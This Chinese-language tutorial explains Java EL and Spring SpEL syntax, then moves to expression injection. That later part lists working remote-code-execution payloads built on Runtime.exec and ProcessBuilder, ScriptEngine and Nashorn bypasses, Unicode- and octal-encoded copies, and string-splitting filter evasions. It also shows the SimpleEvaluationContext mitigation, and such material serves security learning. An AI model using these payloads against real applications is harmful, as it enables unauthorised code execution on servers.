这篇文章主要介绍EL表达式注入和SPEL表达式注入
EL 表达式注入
EL(Expression Language)表达式是一种在Java EE(Java Platform, Enterprise Edition)中使用的表达式语言,主要用于简化JSP(JavaServer Pages)页面中的数据访问和表达式计算。EL表达式使得开发者可以在JSP页面中更方便地访问JavaBeans组件、集合、隐式对象等。
EL表达式的基本语法如下:
其中,expression
是一个可以计算的表达式。EL表达式可以包含变量、运算符、方法调用等。
主要特点和用途
简化数据访问:EL表达式可以简化对JavaBeans属性的访问,例如:
这行代码会自动调用user
对象的getName()
方法。
集合访问:EL表达式可以方便地访问集合(如List、Map)中的元素,例如:
1 2
| ${myList[0]} ${myMap['key']}
|
隐式对象:EL表达式提供了一些隐式对象,如param
、requestScope
、sessionScope
等,用于访问请求参数、请求范围、会话范围等数据。
运算符:EL表达式支持各种运算符,包括算术运算符、关系运算符、逻辑运算符等。
示例
假设有一个名为user
的JavaBean对象,其中包含name
和age
属性,可以在JSP页面中使用EL表达式来显示这些属性:
1 2 3 4 5 6 7
| <html> <body> <h1>User Information</h1> <p>Name: ${user.name}</p> <p>Age: ${user.age}</p> </body> </html>
|
在这个例子中,${user.name}
和${user.age}
会分别调用user
对象的getName()
和getAge()
方法,并将结果显示在页面上。
EL表达式在JSP开发中非常有用,它简化了代码,提高了开发效率,并且使得JSP页面更加清晰和易于维护。
基础语法
获取变量
Page Scope(页面作用域):
- 作用域范围:仅在当前JSP页面内有效。
- 隐式对象:
pageScope
。
- 示例:
${pageScope.myVariable}
。
Request Scope(请求作用域):
- 作用域范围:在一次HTTP请求内有效,包括请求转发。
- 隐式对象:
requestScope
。
- 示例:
${requestScope.myVariable}
。
Session Scope(会话作用域):
- 作用域范围:在一次用户会话内有效,通常跨越多个请求。
- 隐式对象:
sessionScope
。
- 示例:
${sessionScope.myVariable}
。
Application Scope(应用作用域):
- 作用域范围:在整个Web应用程序内有效,所有用户共享。
- 隐式对象:
applicationScope
。
- 示例:
${applicationScope.myVariable}
。
如果没有指定作用域,EL表达式会按照以下顺序查找变量:
- Page Scope
- Request Scope
- Session Scope
- Application Scope
例如:
EL表达式会依次在Page Scope、Request Scope、Session Scope和Application Scope中查找myVariable
,并返回第一个找到的值。
示例
假设在Request Scope中有一个名为user
的变量,可以在JSP页面中使用EL表达式来访问它:
1 2 3 4 5 6 7
| <html> <body> <h1>User Information</h1> <p>Name: ${user.name}</p> <p>Age: ${user.age}</p> </body> </html>
|
在这个例子中,${user.name}
和${user.age}
会自动在Request Scope中查找user
对象,并调用其getName()
和getAge()
方法。
操作符
类型 |
符号 |
算术型 |
+、-(二元)、* 、/、div、%、mod、-(一元) |
逻辑型 |
and、&&、or、双管道符、!、not |
关系型 |
==、eq、!=、ne、<、lt、>、gt、<=、le、>=、ge。可以与其他值进行比较,或与布尔型、字符串型、整型或浮点型文字进行比较。 |
空 |
empty 空操作符是前缀操作,可用于确定值是否为空。 |
条件型 |
A ?B :C。根据 A 赋值的结果来赋值 B 或 C。 |
隐式对象
在EL(Expression Language)表达式中,隐式对象是预定义的变量,用于访问特定的数据或对象。这些隐式对象提供了对请求参数、请求头、作用域变量等的便捷访问方式。以下是一些常用的EL隐式对象:
1. 作用域相关的隐式对象
**pageScope
**:用于访问Page Scope中的变量。
**requestScope
**:用于访问Request Scope中的变量。
1
| ${requestScope.myVariable}
|
**sessionScope
**:用于访问Session Scope中的变量。
1
| ${sessionScope.myVariable}
|
**applicationScope
**:用于访问Application Scope中的变量。
1
| ${applicationScope.myVariable}
|
2. 请求相关的隐式对象
3. 其他隐式对象
**initParam
**:用于访问Web应用程序的初始化参数。
1
| ${initParam.myInitParam}
|
**cookie
**:用于访问请求中的cookie值。
1
| ${cookie.myCookie.value}
|
**pageContext
**:用于访问JSP页面的PageContext对象,提供了对其他隐式对象的访问。
1
| ${pageContext.request.contextPath}
|
示例
假设有一个表单提交,请求参数中包含username
,可以在JSP页面中使用EL表达式来获取该参数的值:
1 2 3 4 5
| <html> <body> <h1>Welcome, ${param.username}!</h1> </body> </html>
|
在这个例子中,${param.username}
会自动获取请求参数username
的值,并显示在页面上。
在EL(Expression Language)中,函数是一种可以被调用的代码单元,用于执行特定的操作或计算。EL函数通常与自定义标签库(Tag Library)一起使用,这些函数可以在JSP页面中通过特定的语法进行调用。
函数
定义EL函数
EL函数通常在自定义标签库描述文件(Tag Library Descriptor, TLD)中定义。TLD文件是一个XML文件,用于描述标签库中的标签和函数。
以下是一个简单的TLD文件示例(在 WEB-INF 文件夹下),定义了一个名为toUpperCase
的EL函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?xml version="1.0" encoding="UTF-8" ?> <taglib xmlns="http://java.sun.com/xml/ns/j2ee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd" version="2.0"> <tlib-version>1.0</tlib-version> <short-name>MyFunctions</short-name> <uri>http://example.com/myfunctions</uri> <function> <name>toUpperCase</name> <function-class>com.example.MyFunctions</function-class> <function-signature>java.lang.String toUpperCase(java.lang.String)</function-signature> </function> </taglib>
|
在这个示例中:
<name>
元素定义了函数的名称,这里是toUpperCase
。
<function-class>
元素指定了实现该函数的Java类的全限定名。
<function-signature>
元素指定了函数的签名,包括返回类型和参数类型。
实现EL函数
在Java类中实现EL函数,例如:
1 2 3 4 5 6 7 8 9 10
| package com.example;
public class MyFunctions { public static String toUpperCase(String input) { if (input == null) { return null; } return input.toUpperCase(); } }
|
在JSP中使用EL函数
在JSP页面中使用EL函数之前,需要先导入标签库。可以使用<%@ taglib %>
指令来导入标签库:
1
| <%@ taglib prefix="my" uri="http://example.com/myfunctions" %>
|
然后,可以在JSP页面中使用EL表达式调用该函数:
1 2 3 4 5
| <html> <body> <h1>Uppercase: ${my:toUpperCase("hello world")}</h1> </body> </html>
|
在这个示例中,${my:toUpperCase("hello world")}
会调用MyFunctions
类中的toUpperCase
方法,并将结果显示在页面上。
禁用/启用EL表达式
全局禁用EL表达式
web.xml 中进入如下配置:
1 2 3 4 5 6
| <jsp-config> <jsp-property-group> <url-pattern>*.jsp</url-pattern> <el-ignored>true</el-ignored> </jsp-property-group> </jsp-config>
|
单个文件禁用EL表达式
在JSP文件中可以有如下定义:
1
| <%@ page isELIgnored="true" %>
|
该语句表示是否禁用EL表达式,TRUE 表示禁止,FALSE 表示不禁止。
JSP2.0 中默认的启用EL表达式。
EL注入漏洞
EL表达式注入漏洞和 SpEL、OGNL等表达式注入漏洞是一样的漏洞原理的,即表达式外部可控导致攻击者注入恶意表达式实现任意代码执行。
一般的,EL表达式注入漏洞的外部可控点入口都是在 Java 程序代码中,即 Java 程序中的EL表达式内容全部或部分是从外部获取的。
通用 PoC
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| ${pageContext}
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}
${header}
${applicationScope}
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc").getInputStream())}
|
这个payload是一个典型的Java表达式语言(EL)注入攻击的例子。它利用了Java的反射机制来执行系统命令。下面是对这个payload的详细分析:
${...}
: 这是Java表达式语言(EL)的语法,用于在JSP页面中动态求值。
pageContext.setAttribute("a", ...)
: 这行代码的目的是在pageContext
对象上设置一个名为a
的属性。这个属性的值是通过后面的表达式计算得出的。
"".getClass().forName("java.lang.Runtime")
: 这部分代码通过空字符串""
获取String
类的类对象,然后调用forName
方法加载java.lang.Runtime
类。java.lang.Runtime
类提供了与运行时环境交互的方法。
getMethod("exec", "".getClass())
: 这部分代码获取java.lang.Runtime
类中的exec
方法,该方法用于执行系统命令。"".getClass()
返回String
类的类对象,作为exec
方法的参数类型。
invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null), "calc.exe")
: 这部分代码执行以下步骤:
"".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null)
: 获取java.lang.Runtime
类的getRuntime
方法,并调用它以获取Runtime
实例。getRuntime
方法是静态的,所以invoke(null)
调用它。
invoke(..., "calc.exe")
: 使用上一步获取的Runtime
实例调用exec
方法,并传入参数"calc.exe"
。这实际上是在执行系统命令calc.exe
,通常是启动Windows计算器应用程序。
总结来说,这个payload的目的是通过Java反射机制在服务器上执行系统命令calc.exe
。
绕过
基础 EXP
1
| "${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc.exe')}"
|
利用 ScriptEngine 调用 JS 引擎绕过
导入依赖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <dependency> <groupId>de.odysseus.juel</groupId> <artifactId>juel-api</artifactId> <version>2.2.7</version> </dependency> <dependency> <groupId>de.odysseus.juel</groupId> <artifactId>juel-impl</artifactId> <version>2.2.7</version> </dependency> <dependency> <groupId>de.odysseus.juel</groupId> <artifactId>juel-spi</artifactId> <version>2.2.7</version> </dependency>
|
当然,以下是给你的代码添加注释的版本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| package demo3;
import de.odysseus.el.ExpressionFactoryImpl; import de.odysseus.el.util.SimpleContext;
import javax.el.ExpressionFactory; import javax.el.ValueExpression;
public class test { public static void main(String[] args) { ExpressionFactory expressionFactory = new ExpressionFactoryImpl(); SimpleContext simpleContext = new SimpleContext(); String exp = "${''.getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('Calc.exe')\")}"; ValueExpression valueExpression = expressionFactory.createValueExpression(simpleContext, exp, String.class); System.out.println(valueExpression.getValue(simpleContext)); } }
|
POC解释
1
| ${''.getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('Calc.exe')\")}
|
这一段代码是一个Java表达式语言(EL)字符串,它利用了Java的脚本引擎来执行系统命令。以下是对这段代码的详细解释:
**${}
**:这是Java表达式语言(EL)的语法,用于在字符串中嵌入表达式,并计算表达式的值。
**''.getClass()
**:这是一个空字符串(''
)调用 getClass()
方法,返回 String
类的 Class
对象。这里使用空字符串只是为了获取 Class
对象,实际上任何对象都可以用来调用 getClass()
。
**.forName("javax.script.ScriptEngineManager")
**:调用 Class
对象的 forName
方法,加载 javax.script.ScriptEngineManager
类。这个类是Java脚本API的一部分,用于管理脚本引擎。
**.newInstance()
**:调用 ScriptEngineManager
类的 newInstance
方法,创建一个新的 ScriptEngineManager
实例。
**.getEngineByName("JavaScript")
**:调用 ScriptEngineManager
实例的 getEngineByName
方法,获取名为 “JavaScript” 的脚本引擎。Java支持多种脚本语言,这里指定使用JavaScript引擎。
**.eval("java.lang.Runtime.getRuntime().exec('Calc.exe')")
**:调用JavaScript引擎的 eval
方法,执行一段JavaScript代码。这段JavaScript代码调用了Java的 Runtime
类的 exec
方法,执行系统命令 Calc.exe
。
总结
这段代码的目的是通过Java的脚本引擎执行系统命令 Calc.exe
。虽然这段代码在技术上是可行的,但它展示了如何通过Java表达式语言执行任意系统命令,这在实际应用中是非常危险的,因为它可能导致安全漏洞。在生产环境中,应严格限制和审查表达式的内容,避免执行任意系统命令。
利用 Unicode 编码绕过
1 2
| // Unicode编码内容为前面反射调用的PoC \u0024\u007b\u0027\u0027\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0027\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0027\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0027\u0065\u0078\u0065\u0063\u0027\u002c\u0027\u0027\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0027\u0027\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0027\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0027\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0027\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0027\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u006e\u0075\u006c\u006c\u0029\u002c\u0027\u0063\u0061\u006c\u0063\u002e\u0065\u0078\u0065\u0027\u0029\u007d
|
利用八进制编码绕过
1 2
| // 八进制编码内容为前面反射调用的PoC \44\173\47\47\56\147\145\164\103\154\141\163\163\50\51\56\146\157\162\116\141\155\145\50\47\152\141\166\141\56\154\141\156\147\56\122\165\156\164\151\155\145\47\51\56\147\145\164\115\145\164\150\157\144\50\47\145\170\145\143\47\54\47\47\56\147\145\164\103\154\141\163\163\50\51\51\56\151\156\166\157\153\145\50\47\47\56\147\145\164\103\154\141\163\163\50\51\56\146\157\162\116\141\155\145\50\47\152\141\166\141\56\154\141\156\147\56\122\165\156\164\151\155\145\47\51\56\147\145\164\115\145\164\150\157\144\50\47\147\145\164\122\165\156\164\151\155\145\47\51\56\151\156\166\157\153\145\50\156\165\154\154\51\54\47\143\141\154\143\56\145\170\145\47\51\175
|
SPEL表达式注入
介绍
Spring Expression Language(SPEL)是一种功能强大的表达式语言,用于在运行时查询和操作对象图。它是Spring框架的一部分,旨在提供一种简洁而灵活的方式来处理复杂的表达式求值。
SPEL的主要特点包括:
- 灵活性:支持字面量、属性、方法、数组、列表、内联列表、内联数组、三元运算符、正则表达式等多种表达式。
- 类型支持:允许访问类静态方法和常量。
- 集合操作:支持对集合进行过滤、投影等操作。
- 模板表达式:允许混合字面量和表达式,使得配置更加灵活。
SPEL的应用场景包括:
- Spring配置文件:在XML或注解配置中使用SPEL进行动态配置。
- Spring Security:用于定义安全规则和权限检查。
- Spring Data:在查询和条件表达式中使用SPEL。
通过SPEL,开发者可以编写简洁而强大的表达式,从而在运行时动态地处理数据和逻辑。
SpEL 表达式基础
SPEL定界符
在Spring Expression Language(SPEL)中,定界符(Delimiter)用于标识表达式的开始和结束。SPEL的默认定界符是#{}
。这意味着当在Spring配置文件或注解中使用SPEL表达式时,需要将表达式放在#{}
之间。
例如,在Spring配置文件中,可以这样使用SPEL表达式:
1 2 3
| <bean id="exampleBean" class="com.example.ExampleBean"> <property name="message" value="#{systemProperties['user.name']}" /> </bean>
|
在这个例子中,#{systemProperties['user.name']}
是一个SPEL表达式,它从系统属性中获取当前用户的用户名。
在注解中,SPEL表达式的使用方式类似:
1 2
| @Value("#{systemProperties['user.name']}") private String userName;
|
这里,@Value
注解用于注入一个值,而#{systemProperties['user.name']}
是一个SPEL表达式,用于获取系统属性中的用户名。
总结来说,SPEL的定界符是#{}
,它用于标识表达式的边界,使得Spring能够识别并解析其中的表达式。
SPEL表达式类型
字面量表达式
这些字面量表达式可以直接在 SpEL 中使用,例如在 Spring 的配置文件或注解中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| @Value("#{'Hello, World!'}") private String greeting;
@Value("#{42}") private int magicNumber;
@Value("#{3.14}") private double pi;
@Value("#{true}") private boolean isActive;
@Value("#{null}") private Object emptyObject;
|
通过这些字面量表达式,可以在运行时将这些固定值注入到 Spring 管理的 Bean 中。
属性表达式
1 2 3 4 5 6 7 8 9 10 11 12
| public class User2 { int age=17; } public class User{ public User2 user2=new User2(18);
@Value("#{user2.age}") public int age; }
输出: User{age=17}
|
方法表达式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public class User2 { int age=17;
public int print(){ System.out.println("cmisl"); return 0; } }
public class User{ public User2 user2=new User2(18);
@Value("#{user2.print()}") public int age; }
输出: cmisl User{age=0}
|
操作符表达式
- 算术操作符:例如
a + b
、c - d
- 比较操作符:例如
a > b
、c == d
- 逻辑操作符:例如
a and b
、c or d
- 正则表达式:例如
name matches 'John.*'
- 三元操作符:例如
condition ? trueExpression : falseExpression
- Elvis 操作符:例如
name ?: 'Unknown'
- 安全导航操作符:例如
user?.name
,避免 NullPointerException
1 2 3 4 5 6
| public class User{ @Value("#{2>1}") public boolean aBoolean; } 输出: true
|
类型表达式
在 SpEL 表达式中,使用 T(Type)
运算符会调用类的作用域和方法。换句话说,就是可以通过该类类型表达式来操作类。
假设我们有一个类 Constants
,其中包含一个静态字段 MAX_VALUE
:
1 2 3
| java复制public class Constants { public static final int MAX_VALUE = 100; }
|
我们可以使用SpEL来获取这个静态字段的值。在Spring配置中,我们可以这样写:
1 2
| java复制@Value("#{T(com.example.Constants).MAX_VALUE}") private int maxValue;
|
在这个例子中:
T(com.example.Constants)
是SpEL的类型表达式,用于引用 Constants
类。
.MAX_VALUE
用于访问 Constants
类中的静态字段 MAX_VALUE
。
这样,maxValue
字段将被注入 Constants.MAX_VALUE
的值,即 100
。
使用 T(Type)
来表示 java.lang.Class
实例,Type 必须是类全限定名,但 ”java.lang”
包除外,因为 SpEL 已经内置了该包,即该包下的类可以不指定具体的包名;使用类类型表达式还可以进行访问类静态方法和类静态字段。
这里就有潜在的攻击面了
因为我们 java.lang.Runtime
这个包也是包含于 java.lang
的包的,所以如果能调用 Runtime
就可以进行命令执行
1 2 3 4 5 6 7 8
| public class test { public static void main(String[] args) { ExpressionParser parser = new SpelExpressionParser(); String expression = "T(java.lang.Runtime).getRuntime().exec('calc')"; Class<Object> result = parser.parseExpression(expression).getValue(Class.class); } }
|
1 2 3 4
| public class user{ @Value("#{T(java.lang.Runtime).getRuntime.exec('calc')}") public int age; }
|
SpEL 用法
Spring Expression Language (SpEL) 是一种强大的表达式语言,支持在运行时查询和操作对象图。SpEL 可以用于多种场景,包括但不限于以下三种主要用法:
在Spring配置文件中使用SpEL:
- 在Spring的XML配置文件或注解中使用SpEL表达式来动态设置Bean的属性值。
- 例如,在XML配置文件中:
1 2 3
| <bean id="exampleBean" class="com.example.ExampleBean"> <property name="message" value="#{systemProperties['user.name']}" /> </bean>
|
- 在注解中:
1 2
| @Value("#{systemProperties['user.name']}") private String message;
|
在Java代码中使用SpEL:
- 在Java代码中通过
ExpressionParser
和 SpelExpressionParser
解析和执行SpEL表达式。
- 例如:
1 2 3 4 5 6 7 8 9 10 11
| import org.springframework.expression.ExpressionParser; import org.springframework.expression.spel.standard.SpelExpressionParser;
public class SpelExample { public static void main(String[] args) { ExpressionParser parser = new SpelExpressionParser(); String expression = "('Hello' + ' World').toUpperCase()"; String result = parser.parseExpression(expression).getValue(String.class); System.out.println(result); } }
|
在Spring Security中使用SpEL:
- Spring Security 支持使用SpEL来定义安全规则和访问控制。
- 例如,在Spring Security配置中:
1 2 3 4 5 6 7
| http .authorizeRequests() .antMatchers("/admin/**").hasRole("ADMIN") .antMatchers("/user/**").access("hasRole('USER') and authentication.name == 'user'") .anyRequest().authenticated() .and() .formLogin();
|
- 在这个例子中,
access
方法使用了SpEL表达式来定义访问控制规则。
总结:
- SpEL 可以在Spring配置文件中动态设置属性值。
- SpEL 可以在Java代码中解析和执行表达式。
- SpEL 可以在Spring Security中定义安全规则和访问控制。
恶意指令执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| package poc;
import org.springframework.expression.Expression; import org.springframework.expression.ExpressionParser; import org.springframework.expression.spel.standard.SpelExpressionParser;
public class test { public static void main(String[] args) { ExpressionParser parser = new SpelExpressionParser();
String spel = "T(java.lang.Runtime).getRuntime().exec('calc')";
Expression expression = parser.parseExpression(spel);
System.out.println(expression.getValue()); } }
|
创建类实例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| package demo1;
import org.springframework.expression.Expression; import org.springframework.expression.ExpressionParser; import org.springframework.expression.spel.standard.SpelExpressionParser;
public class test { public static void main(String[] args) { String spel = "new java.util.Date()";
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(spel);
System.out.println(expression.getValue()); } }
|
SpEL运算
基本运算
运算符类型 |
运算符 |
算数运算 |
+, -, *, /, %, ^ |
关系运算 |
<, >, ==, <=, >=, lt, gt, eq, le, ge |
逻辑运算 |
and, or, not, ! |
条件运算 |
?:(ternary), ?:(Elvis) |
正则表达式 |
matches |
以下是使用 SpEL 表达式 #{}
的形式来表示各种运算的示例:
算数运算
1 2 3 4 5 6
| #{1 + 2} #{3 - 1} #{2 * 3} #{6 / 2} #{5 % 2} #{2 ^ 3}
|
关系运算
1 2 3 4 5 6 7 8 9 10
| #{3 < 5} #{5 > 3} #{3 == 3} #{3 <= 3} #{5 >= 5} #{3 lt 5} #{5 gt 3} #{3 eq 3} #{3 le 3} #{5 ge 5}
|
逻辑运算
1 2 3 4
| #{true and false} #{true or false} #{not true} #{!false}
|
条件运算
1 2
| #{2 > 1 ? 'yes' : 'no'} #{name ?: 'default'}
|
正则表达式
1
| #{'hello' matches 'h.*o'}
|
集合操作
1. 访问集合元素
可以使用索引来访问列表或数组中的元素。例如:
1 2 3 4 5 6 7
| List<String> list = new ArrayList<>(); list.add("apple"); list.add("banana"); list.add("cherry");
String fruit = parser.parseExpression("#list[1]").getValue(context, list);
|
2. 映射操作
可以使用键来访问映射中的值。例如:
1 2 3 4 5 6
| Map<String, String> map = new HashMap<>(); map.put("fruit1", "apple"); map.put("fruit2", "banana");
String fruit = parser.parseExpression("#map['fruit2']").getValue(context, map);
|
3. 集合过滤
可以使用 ?[]
运算符来过滤集合中的元素。例如:
1 2 3 4
| List<Integer> numbers = Arrays.asList(1, 2, 3, 4, 5);
List<Integer> evenNumbers = (List<Integer>) parser.parseExpression("#numbers.?[#this % 2 == 0]").getValue(context, numbers);
|
4. 集合投影
可以使用 ![]
运算符来选择集合中的特定属性。例如:
1 2 3 4 5 6 7 8 9 10 11
| class Person { private String name; private int age;
}
List<Person> people = Arrays.asList(new Person("Alice", 30), new Person("Bob", 25));
List<String> names = (List<String>) parser.parseExpression("#people.![name]").getValue(context, people);
|
5. 集合排序
可以使用 sort()
方法对集合进行排序。例如:
1 2 3 4
| List<Integer> numbers = Arrays.asList(5, 3, 1, 4, 2);
List<Integer> sortedNumbers = (List<Integer>) parser.parseExpression("#numbers.sort()").getValue(context, numbers);
|
6. 集合聚合
可以使用聚合函数(如 min()
、max()
、average()
)来处理集合。例如:
1 2 3 4
| List<Integer> numbers = Arrays.asList(1, 2, 3, 4, 5);
int maxNumber = parser.parseExpression("#numbers.max()").getValue(context, numbers, Integer.class);
|
7. 集合转换
可以使用 collect()
方法将集合转换为另一种类型。例如:
1 2 3 4
| List<String> names = Arrays.asList("Alice", "Bob");
List<Integer> lengths = (List<Integer>) parser.parseExpression("#names.collect(name -> name.length())").getValue(context, names);
|
完整代码参考
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| package demo1;
import org.springframework.expression.ExpressionParser; import org.springframework.expression.spel.standard.SpelExpressionParser; import org.springframework.expression.spel.support.StandardEvaluationContext;
import java.util.ArrayList; import java.util.List;
public class test { public static void main(String[] args) { List<String> list = new ArrayList<>(); list.add("apple"); list.add("banana"); list.add("cherry");
ExpressionParser parser = new SpelExpressionParser();
StandardEvaluationContext context = new StandardEvaluationContext(); context.setVariable("list", list);
String fruit = parser.parseExpression("#list[1]").getValue(context, String.class);
System.out.println("Fruit: " + fruit); } }
|
自定义方法
首先,需要定义一个静态方法,这个方法将作为自定义函数。接下来,需要在SpEL的评估上下文中注册这个自定义函数。可以使用 StandardEvaluationContext
的 registerFunction
方法来完成这个任务。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| package demo3;
import org.springframework.expression.ExpressionParser; import org.springframework.expression.spel.standard.SpelExpressionParser; import org.springframework.expression.spel.support.StandardEvaluationContext;
import java.lang.reflect.Method;
public class SpELExample { public static void main(String[] args) { ExpressionParser parser = new SpelExpressionParser();
StandardEvaluationContext context = new StandardEvaluationContext();
try { Method reverseStringMethod = CustomFunctions.class.getDeclaredMethod("reverseString", String.class); context.registerFunction("reverseString", reverseStringMethod); } catch (NoSuchMethodException e) { e.printStackTrace(); }
String result = parser.parseExpression("#reverseString('hello')").getValue(context, String.class);
System.out.println("Result: " + result); } }
class CustomFunctions { public static String reverseString(String input) { return new StringBuilder(input).reverse().toString(); } }
|
SPEL注入漏洞
原理
SimpleEvaluationContext 和 StandardEvaluationContext 是 SpEL 提供的两个 EvaluationContext:
SimpleEvaluationContext:针对不需要 SpEL 语言语法的全部范围并且应该受到有意限制的表达式类别,公开 SpEL 语言特性和配置选项的子集。它旨在仅支持 SpEL 语言语法的一个子集,不包括 Java 类型引用、构造函数和 bean 引用。
StandardEvaluationContext:公开全套 SpEL 语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。
由于 SpEL 表达式可以操作类及其方法,可以通过类类型表达式 T(Type)
来调用任意类方法,这是因为在不指定 EvaluationContext 的情况下默认采用的是 StandardEvaluationContext,而它包含了 SpEL 的所有功能。在允许用户控制输入的情况下,这可能导致任意命令执行。
例如,以下代码展示了如何使用 SpEL 表达式执行系统命令:
1 2 3 4 5 6 7 8
| public class BasicCalc { public static void main(String[] args) { String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")"; ExpressionParser parser = new SpelExpressionParser(); Expression expression = parser.parseExpression(spel); System.out.println(expression.getValue()); } }
|
在这个例子中,SpEL 表达式 T(java.lang.Runtime).getRuntime().exec("calc")
被解析并执行,导致计算器程序(在 Windows 系统上)被启动。
为了防止这种安全风险,可以使用 SimpleEvaluationContext 来限制表达式的功能,避免执行危险的操作:
1 2 3 4 5 6 7 8 9
| public class BasicCalc { public static void main(String[] args) { String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")"; ExpressionParser parser = new SpelExpressionParser(); EvaluationContext context = new SimpleEvaluationContext.Builder().build(); Expression expression = parser.parseExpression(spel); System.out.println(expression.getValue(context)); } }
|
在这个修改后的例子中,使用 SimpleEvaluationContext 来解析和执行表达式,由于 SimpleEvaluationContext 不支持 Java 类型引用和构造函数,因此表达式 T(java.lang.Runtime).getRuntime().exec("calc")
将无法执行,从而避免了安全风险。
POC
1 2 3 4 5 6 7 8 9
|
T(java.lang.Runtime).getRuntime().exec("calc") T(Runtime).getRuntime().exec("calc")
new java.lang.ProcessBuilder({'calc'}).start() new ProcessBuilder({'calc'}).start()
|
bypass
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
|
T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"}) T(String).getClass().forName("java.lang.Runtime").getMethod("exec",T(String[])).invoke(T(String).getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(T(String).getClass().forName("java.lang.Runtime")),new String[]{"cmd","/C","calc"})
#this.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))
|
JavaScript Engine Bypass
调用js引擎的eval方法执行java恶意代码。
可调用的js引擎有[nashorn, Nashorn, js, JS, JavaScript, javascript, ECMAScript, ecmascript]
1 2 3
| ScriptEngineManager sem = new ScriptEngineManager(); ScriptEngine engine = sem.getEngineByName("ECMAScript"); System.out.println(engine.eval("java.lang.Runtime.getRuntime().exec('calc')"));
|
可调用的js引擎有[nashorn, Nashorn, js, JS, JavaScript, javascript, ECMAScript, ecmascript],可以通过下面代码知道。
1 2 3 4 5
| ScriptEngineManager manager = new ScriptEngineManager(); List<ScriptEngineFactory> factories = manager.getEngineFactories(); for (ScriptEngineFactory factory: factories){ System.out.printf("Names: %s%n", factory.getNames()); }}
|
那么 payload 也就显而易见
1 2 3 4 5 6 7 8 9 10 11 12
| T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);") T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("xxx"),)
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})),)
